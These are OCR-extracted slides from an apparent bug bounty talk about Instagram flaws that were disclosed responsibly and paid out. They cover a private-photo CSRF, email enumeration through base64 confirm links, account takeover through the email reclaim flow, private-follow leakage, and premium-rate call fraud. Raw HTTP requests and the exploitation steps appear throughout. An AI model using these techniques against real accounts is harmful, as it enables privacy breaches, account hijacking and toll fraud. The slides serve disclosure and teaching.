{"status":"ok","num_results":0,"auto_load_more_enabled":true,"items":[],"more_available":false,"total_count":1,
"requires_review":false,"new_photos":[962688807931708516]}
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Delete

Copy Share URL

a) Find Private Account pictures image_id
b) Find permalink of Shared Private Account picture

Request, sending the image ID of user victimldapril along with a wvalid SessionlD for user
attackeraprill4:

GET /api/vl/media,/962688807931708516 1111111111 /permalink/ HTTP/1.1

Host: i.instagram.com

Connection: Keep-Alive

User-Agent: Instagram 6.18.0 Android (16/4.1.2; 240dpi; 480x800; samsung; GT-19070; GT-
19070; samsungjanice; en_GB)

Cookie: ds_user_id=1834735739; igfl=attackerldapril;
sessionid=1GSC0febd3053f46af065661341h814c525257045e0281d051e666355a04d3558dc2%
3ADUBNBOBd2pTpRAJIhCDPCKyr3mKSzSey%3A%T7B%22_auth_user id%22%3A1834735739%2C
%22 _token%22%3A%221834735735%3A3mMDvmINScp7fUSzWDPSI60bAKCALHE%3A001ef1a
6209117adf855bf195c086eed571920a74485f49976236e9ae46a2eB80%22%2C%22_auth_user_b
ackend%22%3A%22accounts.backends.CaselnsensitiveModelBackend%22%2C%22last_refreshe
d%22%3A1428983171.329889%2C%22_t1%22%3A1%2C%22_ platform%22%3A1%7D;

Response, containing permalink for the private image:

HTTP/1.1 200 OK
[..SNIP...)

{"status":"ok","permalink”:"https:\/\/instagram.com\/p\ /1cKF FKAARK\ /| 1 2 O
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6. Private Account Shared Pictures CSRF

a) Find Private Account pictures image_id
b) Find permalink of Shared Private Account picture

After reviewing the issue you have reported, we have decided to award you a

bounty of $1000.
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6. Private Account Shared Pictures CSRF

122
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6. Private Account Shared Pictures CSRF

GET
instead of
POST

CSRF
attack surface 123
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7. Email Address Account Enumeration

“ EEE instagrampentastusenggmail.com -

- a 0 § m % More - 1of 1 Em - -
Confirm your email address for Instagram  insox = = [\ Related Googles+ Page
Instagram <no-reply@mail.instagrs  5:41 PM (0 minutes ago) - T Instagram

tome =

Hi victim14april!

You updated your email address to
instagrampentestuser@gmail.com. Confirm your email
address to continue capturing and sharing your
moments with the world.

Confirm Email Address

If wou dicn't change your Instagram emall address, let us know 124




WEB + MOBILE

7. Email Address Account Enumeration

https://instagram.com/accounts/confirm_email/U2imNZjK/aW5zdGFncmFteGVudGVzdHVZZXIAZ2 1ThaW
wuY29t/?app_redirect=False

base6d_d(aW5zdGFncmFteGVudGVzdHVzZXIAZZ 1haWwuY259t): instagrampentestuser@gmail.com

M Confirm your email addre: x ' (@)« Instagram x

&= = l conﬁrm_email/U2imNZjK/aWSszFncmFthVudGVdeVzZXJAZZ1haquY29t/1| L/

‘ﬁ ‘lnbtagnmu . attacker14april

Please Log In

Log in as victiml4april and follow the confirmation link again.

Edit Profile

Change Password

Manage Applications

Badges

Log Out

125




WEB + MOBILE

7. Email Address Account Enumeration

https://instagram.com/accounts/confirm_email/U2imNZjK/aW5zdGFncmFteGVudGVzdHVZZXIAZ2 1ThaW
wuY29t/?app_redirect=False

base6d_d(aW5zdGFncmFteGVudGVzdHVzZXIAZZ 1haWwuY259t): instagrampentestuser@gmail.com

M Confirm your email addre: x ' (@)« Instagram x

&= = l conﬁrm_email/U2imNZjK/aWSszFncmFthVudGVdeVzZXJAZZ1haquY29t/1| L/

‘ﬁ ‘lnbtagnmu . attacker14april

Please Log In
Login asnd follow the confirmation link again.

Edit Profile

Change Password

Manage Applications

Badges

Log Out

126




WEB + MOBILE

7. Email Address Account Enumeration
basetd_e(mark.zuckerberg@facebook.com): bW Fyay56d WNrZXJiZXInQGZhY2Vib29rLmNvbCQ

https:/finstagram.com/accounts/confirm_email/U2imNZjK/bWFyay56dWNrZXIiZXIJnQGZhY2Vib29rLmN
vbQ,/?app_redirect=False

€« C | . n_email/U2imNZJK/bWFyayS6dWNrZXJIZXInQGZhY2Vib29rL mNvbQ/7app r

- attackeridapril

Please Log In

Log in al themarkzuckerbergland follow the confirmation link again.

Edit Profile

Change Password

Manage Applications

Badges

Log Out
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7. Email Address Account Enumeration

Reguest (note: no cookies, so no authentication necessary):

POST fapi/vl/accounts/confirm_email /I0Z5TN) 2/ /bW FyaysedWNrZ X JiZ 2 nQGZhY 2Vib29rLmNvbQ,
Host: i.instagram.com

Response:

HTTP/1.1 200 OK

" "loe in as themarkzuckerberg and follow the confirmation link
again.","is_profile_action_needed" false,"status":"ok","title":"Please Log In"}
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7. Email Address Account Enumeration

After reviewing the issue you have reported, we have decided to award you a
bounty of $750 USD.
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7. Email Address Account Enumeration
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7. Email Address Account Enumeration
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8. Account Takeover via Change Email Functionality

| forgot my password.

If you can't remember your password, you can reset it through your email address or your Facebook account. To
reset your password, first tap Forgot? next to Password on the log in screen.

= o reset through your email address, tap Username or Email, enter your username or the emall
address you used to create your account and tap search. Choose Send a Password Reset Email.

= To reset through Facebook, tap Reset using Facebook. You may be asked to log into Facebook. You

can then enter a new password for the Instagram account that was most recently linked to your
Facebook account.

If you can't access the email you registered with and you didn't link your Instagram account to Facebook, we're
not able to give you access to this account.

132




WEB + MOBILE

8. Account Takeover via Change Email Functionality

X

CHANGE EMAIL

instagrampentesting1|@gmail.com

Spot the difference

X  CHANGE PASSWORD v'

Forgot Password? Reset using Facebook

¥ T
qw e r

4

2 I 2 RN s I Bl e

£ z x ¢cvbnm a@a

123 . English(UK) ™
Sym 'ﬂ' hd . Next

t yu u'i o )
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8. Account Takeover via Change Email Functionality

n ii:  instagrampentesting2@gmail.com ~
The message has been moved to the trash.
+“ a (1] [} N~ ¥ - More ~ 10f1 -

Confirm your email address for Instagram  inbox  x = Related Google+ Page

Instagram <no-reply@mail.instagram.com> 2:40 AM (0 minutes ago) L v Instagram
tD - 0

Hi pentestingvictim!

You updated your email address to
instagrampentesting2@gmail.com. Confirm your email
address to continue capturing and sharing your moments
with the world.

Confirm Email Address

If you didn't change your Instagram email address, let us know.
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8. Account Takeover via Change Email Functionality

“ i instagrampentesting1@gmail.com v

o o 0 i [ L More * 1of4 ¢ )] i [ 0
Email changed on Instagram  inbox x & Related Google+ Page
Instagram <no-reply@mail.instagram.com> 2:40 AM (2 minutes ago) . ] Instagram
tome |+

Hi pentestingvictim,

The email on your Instagram account was changed from instagrampentesting1@amail.com on 17:40 (PDT) on Thursday, April 23 2015,

Your new email: instagrampentesting2@gmail.com

If you didn't do this, please secure your account.

-The Instagram Team
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8. Account Takeover via Change Email Functionality

https:/instagram.com/accounts/disavow/xjo941/Oy YT 1kWz/aW5zdGFnemFteGVudGVzdGluZzFAZ2 1 haWwuY29Y/

Change Your Email?

pentestingvictim

The email on your account was changed to Instagrampentesting2 @gmail.com

If this wasn't you, you can secure your account. You may need to verify your account and reset your password before
you can log in,

136




WEB + MOBILE

8. Account Takeover via Change Email Functionality

Change Your Password

Change your password to make sure your account stays safe.

Save
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8. Account Takeover via Change Email Functionality

a. Unconfirmed Email Address Reset to Default

[ https://instagram.com/accounts/edit/

ﬁ qutﬂ.gflﬂM . pentestingvictim
Edit Profile

Edit Profile

Ch P d
o pbeins Successfully updated your profile

Manage Applications

Badges
Name

Log Out
Email instagrampentestingl@gmail.com
Username pentestingvictim

Phone number
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8. Account Takeover via Change Email Functionality

a. Unconfirmed Email Address Reset to Default

ﬁ ‘]mtagnum . pentestingattacker

Edit Profile

Edit Profile

Change Password R . -
Another account is using instagrampentestingi@gmail.com.

Manage Applications
You need an email or confirmed phone number.

Badges

Log Out
Name
Email instagrampentestingl@gmail.com
Username pentestingattacker

139




WEB + MOBILE

8. Account Takeover via Change Email Functionality

a. Unconfirmed Email Address Reset to Default

CONFIRM YOUR EMAIL

We'll email you a confirmation and update
your contact info once you confirm that
instagrampentesting1@gmail.com is your
email address.

Request:

Someone else is using that email address.

POST fapifvl/accounts/send_confirm_email/ HTTP,/1.1

User-Agent: Instagram 6.18.0 Android (16/4.1.2; 240dpi; 480xE00; samsung;, GT-19070; GT-19070;
samsungjanice; en..GB)

Cookie: ds _yser_id=203962E8145; igfl=pentestingattacker;
csrftoken=ec4889f6aef2dc7791a2ec3c6140f2b1; mid=VTd6MgABAAHPTSIRVI-ljfv2-4c3:
sessionid=IG5Cee7270cdBOf 16667 fdE3I6TAbIE2fel 145f7b2b14375b423c512c355fa24ch674%3A02Gpfec
DnlbOXlIcHtEVzevhMEvAomIO%3A%TEZ22_auth_user_id%22%3A2039628145%2C%22_token3:22%:3
A%222039628145%3AWz4EKIHxVhjogXpflRuRmbuwHUI3WxTK%*%3Aa84eb80EbfE5ca775003boe 711 7dce
adSddb244adedbfo3cE34460chodb3Bocb302 2362 C%22 _auth_user_backend?:22%3A3%2 2accounts_ backen
ds.Caselnzensitive Mode|Backend?:2 292 C%2 2 |last_refreshed22%3A14 20836657 .207000%2C%22_ 1132

2%3A1%2C%22_platform:22%63A1%70; is_starred_enabled=yes

ig_sig_key_version=4&signed_body=036c28e00e81labe52afd22ba®355d719955b8223819253f241ebdaa
b2oeg69le.{"email": "instagrampentestingl @gmail.com”,"send_source":"edit_profile","_csritoken":"ec
4889feaef2dc7791a2ec3c6140f2bl","_uuid":"cd88a81a-3663-4005-b317-

bcdbd41d186b"," uid":"2039628145"}

Response:

HTTP/1.1 200 OK

{"hody":"Someone else is using that email address. We'll email vou a confirmation and update your
contact info once wou confirm  that instagrampentestingl@gmail.com  is  yvour  email
i it": "ti irm Your Email"}
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8. Account Takeover via Change Email Functionality
a. Unconfirmed Email Address Reset to Default
n :== | instagrampentesting2@gmail.com ~

“ 0 [] m N More - < o
Confirm your email address for Instagram  inbox x &
Instagram <no-reply@mail.instagram.com> 4:12 PM (11 minutes ago) L
tome |+

Hi pentestingattacker!

Confirm your email address to help secure your Instagram
account. Confirming your email address ties it to your
Instagram account, and your account only.

Confirm Email Address

If you didn't create an Instagram account using this email address, let us know. 14 1




WEB + MOBILE

8. Account Takeover via Change Email Functionality

a. Unconfirmed Email Address Reset to Default

& https:/instagram.com/accounts/confirm_email/aKSiz1L7/aW5zdGFnemFtcGVudGVzdGluZzFAZ21haWwuY29t/?app_redirect=False

# Instagram

Instagram

Thanks! You have successfully confirmed your email.

Edit Profile

Change Password

Manage Applications

Badges

Log Out

. pentestingattacker
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8. Account Takeover via Change Email Functionality

a. Unconfirmed Email Address Reset to Default

~ https://instagram.com/accounts/edit/

ﬁ ‘lwstagnnm . pentestingattacker

Edit Profile

Edit Profile

Change Password

Manage Applications Name
Badges Email instagrampentestingl@gmail.com
Log Out Username pentestingattacker

Phone number

Sex v
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8. Account Takeover via Change Email Functionality

a. Unconfirmed Email Address Reset to Default

hitps://instagram.com/accounts/edit/

. pentestingvictim

Edit Profile

Edit Profile

Change Password

Manage Applications Name
Badges Email pentestingvictim@example.com
Log Out Username pentestingvictim

Phone number

Sex —
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8. Account Takeover via Change Email Functionality

b. Reclaim Email Address Link Invalidation

Email address(es)

victim instagrampentestingl@gmail.com

attacker Instagrampentesting2@gmail.com
Instagrampentesting3@agmail.com
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8. Account Takeover via Change Email Functionality

b. Reclaim Email Address Link Invalidation

Scenario: Assume temporary access for an attacker to victim session

Man-in-the-Middle Cross-site Scripting Physical access to
(before SSL Pinning) Vulnerability unlocked phone
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8. Account Takeover via Change Email Functionality

b. Reclaim Email Address Link Invalidation

. https://instagram.com/accounts/edit/

. pentestingvictim

Edit Profile

Edit Profile

Change Password
Successfully updated your profile

Manage Applications

Badges
Name

Log Out
Email instagrampentesting2a@gmail.com
Username pentestingvictim

Phone number
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8. Account Takeover via Change Email Functionality
b. Reclaim Email Address Link Invalidation
n i35 instagrampentesting2@gmail.com ~

i a 0 [] - L More * 10f1 o I

Confirm your email address for Instagram  inbox  x & Related Google+ Page

Instagram <no-reply@mail.instagram.com> 5:25 PM (0 minutes ago) L v Instagram
10 _ U

Hi pentestingvictim!

You updated your email address to
instagrampentesting2@gmail.com. Confirm your email
address to continue capturing and sharing your moments
with the world.

Confirm Email Address

agram emall address, let us know
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8. Account Takeover via Change Email Functionality

b. Reclaim Email Address Link Invalidation

“ i instagrampentesting1@gmail.com v

= 0 (] m- L More ¥ 1of1 | € | ) E v o B8
Email changed on Instagram inbox x & Related Google+ Page
Instagram <no-reply@mail.instagram.com> 5:25 PM (0 minutes ago) - ] Instagram
tome I~

Hi pentestingvictim,

The email on your Instagram account was changed from instagrampentesting1@gmail.com on 08:25 (PDT) on Friday, April 24 2015.

Your new email: instagrampentesting2@gmail.com

If you didn't do this, please secure your account.

-The Instagram Team
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8. Account Takeover via Change Email Functionality

b. Reclaim Email Address Link Invalidation

. https://instagram.com/accounts/edit/

. pentestingvictim

Edit Profile

Edit Profile

Change Password
Successfully updated your profile

Manage Applications

Badges
Name

Log Out
Email instagrampentesting3@gmail.com
Username pentestingvictim

Phone number
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8. Account Takeover via Change Email Functionality

b. Reclaim Email Address Link Invalidation
“ I instagrampentesting3@gmail.com

10f1 | £ t o B2

“ a @ [] .- ¥ More ~

Confirm your email address for Instagram  inbox  x & | Related Google+ Page

Instagram <no-reply@mail.instagram.com> Unsubscribe

5:27 PM (1 minute ago) « |- @ Instagram

Hi pentestingvictim!

You updated your email address to
instagrampentesting3@gmail.com. Confirm your email

address to continue capturing and sharing your moments with
the world.

Confirm Email Address

ss, let us know
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8. Account Takeover via Change Email Functionality

b. Reclaim Email Address Link Invalidation

“ i instagrampentesting2@gmail.com v

L) a 0 (] [N 9 More ¥ 10f2 > Q-
Email changed on Instagram inbox & Related Google+ Page
Instagram <no-reply@mail.instagram.com> 5:27 PM (0 minutes ago) « v Instagram
tome '~

Hi pentestingvictim,

The email on your Instagram account was changed from instagrampentesting2@gmail.com on 08:27 (PDT) on Friday, April 24 2015.

Your new email: instagrampentesting3@gmail.com

If you didn't do this, please secure your account.

-The Instagram Team
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8. Account Takeover via Change Email Functionality

b. Reclaim Email Address Link Invalidation

Wachtwoord opnieuw instellen

We kunnen je helpen je wachitwoord opnieuw in te stellen met behulp van je Instagram-gebruikersnaam of het
e-mailadres dat is gekoppeld aan je account.

E-mailadres of
gebruikersnaam pentestingwvictim

Recaptcha

il ‘ re CAPTCHA
Privacy & Terms

ywons

Wachtwoord opnieuw instellen

Instagram
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8. Account Takeover via Change Email Functionality

b. Reclaim Email Address Link Invalidation
“ I instagrampentesting3@gmail com ~

- B e & R ST T2 <> | B

Related Google+ Page

a ]
5]

Je wachtwoord opnieuw instellen mbox x

[ Instagram

Instagram <no-reply@mail.instagram.com= Unsubscribe 5:30 PM (0 minutes ago) - v L
to o

'J::-'A Dutch = > English~  Translate message Turn off for: Dutch *

Hoi @pentestingvictim,

We hebben een verzoek ontvangen voor het opnieuw instellen
van je Instagram-wachtwoord.

Wachtwoord opnieuw instellen

Als je dit bericht negeert, wordt je wachtwoord niet gewijzigd.

Als je geen verzoek hebt ingediend om je wachtwoord
opnieuw in te stellen, kun je contact met ons opnemen.

Als dit account niet van jou is, kun je je e-mailadres it de lijst verwijderen. 5
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8. Account Takeover via Change Email Functionality

b. Reclaim Email Address Link Invalidation

Instagrampentestingl@gmail.com Instagrampentesting2@gmail.com

Reclaim link https://instagram.com/accounts/disavow/xjo94i/  https://instagram.com/accounts/disavow/xjo94i/
OyYT1kWz/aW5zdGFncmFtcGVudGVzdGluZzz  TmQBFjzk/aW5zdGFncmFtcGVudGVzdGluzzJ

FAZ21haWwuY29t/ AZ21haWwuY 29t/

¥

Currently owns
victim account

155




WEB + MOBILE

8. Account Takeover via Change Email Functionality

b. Reclaim Email Address Link Invalidation

() https://instagram.com/accounts/disavow/xjo94i/OyYT1kWz/aW5zdGFnemFtcGVudGVzdGluZzFAZ21haWwuY29t/

#® ‘lmtaglmm 2 ogin

Change Your Email?

pentestingvictim

The email on your account was changed to instagrampentesting3@gmail.com

If this wasn't you, you can secure your account. You may need to verify your account and reset your password before
you can log in.
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8. Account Takeover via Change Email Functionality

b. Reclaim Email Address Link Invalidation

Change Your Password

Change your password to make sure your account stays safe.

Save
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8. Account Takeover via Change Email Functionality

b. Reclaim Email Address Link Invalidation

Instagrampentestingl@gmail.com Instagrampentesting2@gmail.com

Reclaim link https://instagram.com/accounts/disavow/xjo94i/
TmQBFjzk/aW5zdGFnecmFtcGVudGVzdGluZzJ

FAZZ2Eha\Whwa Y201 AZ21haWwuY 29t/

¥

Currently owns
victim account
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8. Account Takeover via Change Email Functionality

b. Reclaim Email Address Link Invalidation

@ hitps://instagram.com/accounts/disavow/xjo94i/ TmQBFjzk/aW5zdGFnemFteGVudGVzdGluZzJAZ2 thaWwuY29t — ¢ @ Q, Search ﬁ E ‘ f 4

Change Your Email?

pentestingvictim

The email on your account was changed to instagrampentestingl@gmail.com

If this wasn't you, you can secure your account. You may need to verify your account and reset your password before
you can log in.

e
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8. Account Takeover via Change Email Functionality

b. Reclaim Email Address Link Invalidation

https://instagram.com/integrity/checkpoint/?next=%2F ¢ @ Q, search ﬁ E -‘ H® 4

Change Your Password

Change your password to make sure your account stays safe.

Save
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8. Account Takeover via Change Email Functionality

b. Reclaim Email Address Link Invalidation

Instagrampentestingl@gmail.com Instagrampentesting2@gmail.com

Reclaim link
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8. Account Takeover via Change Email Functionality

b. Reclaim Email Address Link Invalidation

After reviewing the issue you have reported, we have decided to award you a
bounty of $2000 USD.

162



WEB + MOBILE

8. Account Takeover via Change Email Functionality

163



WEB + MOBILE

8. Account Takeover via Change Email Functionality

Allow chaining of
“secure account”
links

Mail to wrong
email address 164
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9. Private Account Users Following

[=] diff v6.20.1 vs 6.19.04¢ £
direct w2/

discover/su refill/

[T I e T

fhasarch/topssarch/
¢ /hashtag/
5  /hide/
& media/%s/comment/bulk delete/

/media share/
/profile/f

[
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9. Private Account Users Following

] ejava i3 = 8 <" Search i G@lxsﬁl + E||Q;
@ 1 package com.instagram.andreid.feed.b.a; » N "su_refill' - 4 matches in workspace
2 0 = PRE Instagram 6.20.1
3% import com.b.a.a.k;
5 4 [ src
# 9 public final class g extends c<he> = 4 (& com
1@ { 4 [ instagram
11 private final com.instagram.user.e.a a; 4 [= android
12 private final int b; a4 = feed
13
b
14 public e(com.instagram.user.e.a parama) «&
15 4 a=a
16 this.a = parama; 4[[J] ejava
17 this.b = 5; = 27 return "discover/su_refil/";
L . B diffa
J . B URLsbat

[«=]

?'ivate static be b(k paramk) . B URLSonly.bd

2 return bf.a(paramk);
R
25 protected final String a()
5 {
=27 return "discover/su_refill/";
h

[T=R = ]

public final void a(b paramb)
1

2 paramb.a("target_id", this.a.a().o());
3 paramb.a("num”, String.voluedf(this.b));
4}
>

236 public final int b()
7

return com.instagram.common.a.b.a.g; =

) 166
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9. Private Account Users Following

GET /api/vl/discover/su_refill/?target id=2036044526 HTTP/1.1

Host: i.instagram.com

Connection: Keep-Alive

Cookie:
sessionid=1GSCd064c22cd43d17al5dcabbc3a903ch18e8f9e292a859¢c9d1289ba26
8103ee563%3A1WJIvjHstqANnPj0i5dcjVRpgcn3wCRQgk%3A%7B%22 token ver%
22%3A1%2C%22 auth_user_id%22%3A2028428082%2C%22_token%22%3A%?2
22028428082%3AYeZzCYWQLGDS8D7d3NzFIbBiWIYJVVa7G%3A078ae8d72b728
46a6431945fd59c38f1b04b8f93dd6ec4b20165693e65b21915%22%2C %22 auth_u
ser_backend%22%3A%22accounts.backends.CaselnsensitiveModelBackend%22
%2C%22last_refreshed%22%3A1441031445.81182%2C%22_platform%22%3A1%
7D; ds_user=pentestingvictim
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9. Private Account Users Following

HTTP/1.1 200 OK

(...SNIP...)
{
"status": "ok",
"items": [
{
"caption": ",
"social_context": "Based on follows",
"user":
{

"username": "springsteen”,
"has_anonymous_profile_picture": false,
"profile_pic_url": "http:\/\/scontent-ams2-1.cdninstagram.comVhphotos-
xfal\/t51.2885-19V/11370983 1020871741276370_1099684925 a.jpg",
"full_name": "Bruce Springsteen”,
"pk": "517058514",
"is_verified": true,
"is_private": false
2
"algorithm": "chaining_refill_algorithm",
"thumbnail_urls": ["http:\/\/scontent-ams2-1.cdninstagram.com\Vhphotos-xfal\/t51.2885-
15V/s150x150Ve35V11373935 872054516217170_419659415 n.jpg?"],
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9. Private Account Users Following

{

"caption": ",

"social_context": "Based on follows",

"user":

{
"username": "pentesttest”,
"has_anonymous_profile_picture": true,
"profile_pic_url": "http:VV/images.ak.instagram.comV/profilesVanonymousUser.jpg",
"full_name": "rest",
"pk": "1966431878",
"is_verified": false,
"is_private": true

12

"algorithm™: "chaining_refill_algorithm",

"thumbnail_urls": [],

"large_urls": [],

"media_infos": [],

"media_ids": [],

"icon™: "

1
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9. Private Account Users Following

llcaptionll: llll’
"social_context": "Based on follows",
"user":

{

"username": "
"has_anonymgd
"profile_pic_ur
"full_name": "r
"pk": "196643
"is_verified": fg

"algorithm": "chaining_ refill
"thumbnail_urls": [],
"large_urls™: [],
"media_infos": [],
"media_ids": [],
“icon™: "

1]

(HARPY PILLS 2R
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9. Private Account Users Following

After reviewing the issue you have reported, we have decided to award you a
bounty of $2,500 USD.
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9. Private Account Users Following
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9. Private Account Users Following
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10. Steal Money Through Premium Rate Phone Numbers

il & ] 5

X  PHONE NUMBER -> € VERIFY PHONE NUMBER |

32 4ol
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il & ] 5

X  PHONE NUMBER -> € VERIFY PHONE NUMBER |

32 4ol

175



MOBILE

10. Steal Money Through Premium Rate Phone Numbers

P % il 5 23:54 L Al 2 23:58

< B 8850 +1 650-830-7316

California

Use 618927 to verify
your Instagram account. Incoming call

Use 958061 to verify
your Instagram account.

Use 158402 to verify
your Instagram account.

Use 507 862 to verify
your Instagram account.

Use 507 862 to verify
your Instagram account.

A

Reject call with message
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10. Steal Money Through Premium Rate Phone Numbers
st tnees <

€« C' | G https://www.eurocall24.com/index.php?r=numbers/list By =
Eurocall24 instagram pentesting (instagrampentesting) A~ &~
PREMIUM RATE PARTNER

Home

Allocated Numbers

Numbers

Settings successfully changed.
Assign Numbers g y ehang

Allocated Numbers

Country Range Numbers
Live Statistics £ United Kingdom 44 741813 w0 1
Statistics

Displaying 1-1 of 1 result.
t P

Test Panel Currency

Country Name Range Phone Number Service Payout (Payout) Unit(Payout) Payout Terms
Access List v v
Rake card 85 United Kingdom ~ 44741813000x 447418138010 Conference 00600 GBP  perMin EOM+ 45 days | .|
Customer details A Check the tariff. Payout depending on peak/off peak times. For more details please place mouse cursor over fhe icon next to the payout.
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[ Eurocall24 - LiveStatistics %

Eurocall24

PREMIUM RATE PARTNER

Home
Numbers
Live Statistics

Statistics

Live

# CL Number

1.16506814774 447418138010 52
Total

€ = C & https;//www.eurocall24.com/index.php?r=statistics/liveStatistics

Started  Duration

00:01:08 §
5

instagram pentesting (instagrampentesting)

A~

B 5

av

»
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10. Steal Money Through Premium Rate Phone Numbers

Burp Intruder Repeater Window Help Burp Intruder Repeater Window Help

[Target T Proxy TSpider IScanner Tlntruder T Repeater ISequencer [Target T Proxy T Spider T Scanner T Intruder I Repeater ]
1 x |6

[Target T Positions TPaonads TOptions ]
[Target T Positions T Payloads TOptions ]

CJ ’ayload Sets
You can define one or more payload sets. The number of payload sets -
each payload set, and each payload type can be customized in differen| -~
e T These settings control whether Intruder updates the con
Payload set: (1 J Payload count: 60
— Update Content-Length header
Payload type: LNumbers _'J Request count: 60 & Up 9
[/ Set Connection: close
QJ Pavioad Options [INumbers

This payload type generates numeric payloads within a given range an

These settings control the engine used for making HTTP|

cls

Type: @ Sequential () Random
Number of threads: 5
From: 1
Number of retries on network failure: 3
To: 60
Step: 1 Pause before retry (milliseconds): 2000
How many: .
Throttle (milliseconds): ® Fixed 30000
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[ Eurocall24 - Statistics %

=

Eurocall24

PREMIUM RATE PARTHER

Home
Numbers

Live Statistics
Statistics
Test Panel

Access List

Calls statistics

Custom dates

T

Range /Number  Payout Calls

B 4474181300t 0,0600 GBP/ 61
Min.

Total 61

instagram pentesting (instagrampentesting)

2015-09-05 2015-09-05

Total
(min.)

Total
payout

104 GBP 0:17 2015-09-05
17:56:30

Avg.
{min.) Last call

1721

17:21 1,04 GBP

A~

a

c https://www.eurocall24.com/index.php?r=statistics%2Findex&fastSelectTime=8&fromDate=2015-09-05&toDate=2015-09-05&yt fa =

FY
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10. Steal Money Through Premium Rate Phone Numbers

This is intentional behavior in our product. We do not consider it a security
vulnerability, but we do have controls in place to monitor and mitigate abuse.
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This is intentional
vulnerability, but we

r it a security
\te abuse.
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This is intentio
vulnerability, bu

it a security
e abuse.
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10. Steal Money Through Premium Rate Phone Numbers

100 accounts

$2/h $200/ h
$48 / day $4.800 / day
$1.440 / month $144.000 / month
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10. Steal Money Through Premium Rate Phone Numbers

Hello again! We'll be doing some fine-tuning of our rate limits and work on the
service used for outbound calls in response to this submission, so this issue will
be eligible for a whitehat bounty. You can expect an update from us again when
the changes have been made. Thanks!

After reviewing the issue you have reported, we have decided to award you a
bounty of $2000 USD.
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CONCLUSION

1 Instagram.com Subdomain Hijacking on Local Network Infrastructure

2 Employee Email Authentication Brute-Force Lockout Infrastructure $0

3  Public Profile Tabnabbing Web $0

4  Web Server Directory Enumeration Web $500
5  Private Account Shared Pictures Token Entropy Hybrid $1000
6  Private Account Shared Pictures CSRF Hybrid $1000
7  Email Address Account Enumeration Hybrid $750
8  Account Takeover via Change Email Functionality Hybrid $2000
9  Private Account Users Following Mobile $2500

Steal Money Through Premium Rate Phone Numbers Mobile $2000 + 1




CONCLUSION

https://www.letuschange.net

1 Instagram.com Subdomain Hijacking on Local Network Infrastructure

2 Employee Email Authentication Brute-Force Lockout Infrastructure $0

3  Public Profile Tabnabbing Web $0

4  Web Server Directory Enumeration Web $1000
5  Private Account Shared Pictures Token Entropy Hybrid $1000
6  Private Account Shared Pictures CSRF Hybrid $2000
7  Email Address Account Enumeration Hybrid $1500
8  Account Takeover via Change Email Functionality Hybrid $2000
9  Private Account Users Following Mobile $2500

Steal Money Through Premium Rate Phone Numbers Mobile $4000 + 1




CONCLUSION

SDLC Mapping Summary

® Development (6)
m Design (5)

» Maintenance (2)
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CONCLUSION

Facebook Hall of Fame: https://www.facebook.com/whitehat/thanks

Thanks!
On behalf of over a billion users, we would like to thank the following people for making a responsible disclosure to us:
2015

m Sayed Abdalhaleem Sayed Ahmed - {EGYPT}

Philippe Harewood

Laxman Muthiyah (www facebook comilaxmanmuthiyah)

Anand Prakash (@sehacure)

Jack W (fin1te.net)

Pouya Darabi [ fb.comipouyadarabid? |, pouyadarabi.blogspot.com )
Josip Franjkovié (www.pyeio)

Frakash Sharma (@1lastBraath)

Ankit Mittal - IT Security Consultant (@securedi)

Szyman Gruszecki

Saman Fatahpour (facebook.comisaman . fatahpour)

Raja Sekar Durairaj (fo.melrajsek Tata Consultancy sernvice-BFS Domain)
Yaala Abdellah (https:fwww facebook comiabdellah.yal )

m Stephen Sclafani

= Yeli-Pekka Vainio (@veeeeep)

= Ahmed Elsobky (@MrEaglelx)

m Ayoub FATHI ( W~d4~nterrlOr ) ( facebook comifathii.ayoub, @0Di_W4nt3rrilr, ayoubfathi.com )
m Jouko Pynnénen (klikkifi)

m Mazen Gamal Mesbah (facebook com/iLove Rasolallh, @MazenGamal)

m Arne Swinnen (https:/fwww arneswinnen.net)
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CONCLUSION

Facebook Hall of Fame: https://www.facebook.com/whitehat/thanks

Thanks!

On behalf of over a billion users, we would like to thank the following people for making a responsible disclosure to us:

2016

= Allan Jay Dumanhug (https://getwhitehats.com)

= Abhibandu Kafle (http://abhikafle.com.np)

= Arne Swinnen (https://www.arneswinnen.net)

= Musab Moh. Salih [dis 2541 [linkedin.com/in/musab1]

= Shailesh Suthar ( @shailesh4594 )

= SimranJeet Singh (@ TurbanatorSJS)

= Philippe Harewood

= Yaala Abdellah (https://www.facebook.com/abdellah.yal )

= Syndy Julia Garg (@dr4cunQ)

= Nizam Uddin

= kminthant (@psxchotic)

= Salem Faisal Elmrayed (Kaito_Kid , thekaitokid.blogspot.com)
= Anbu Selvam Thangam (www.facebook.com/100002763498525 - grggid«

#3/13
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ity ‘St

KEEP KEEP
CALM CALM

05224
KEEP
CALM

AND AND

TRY BE

AND

BE
RESPONSIBLE
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—% Coming Soon|

- Vulnerability Category

CONCLUSION

XXXX Mobile
12 XXXX Mobile ?
13 XXXX Mobile ?
14 XXXX Web ?
XXXX Infrastructure

-_-
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THANK YOU! ANY QUESTIONS?

h
j. .,/ /
o
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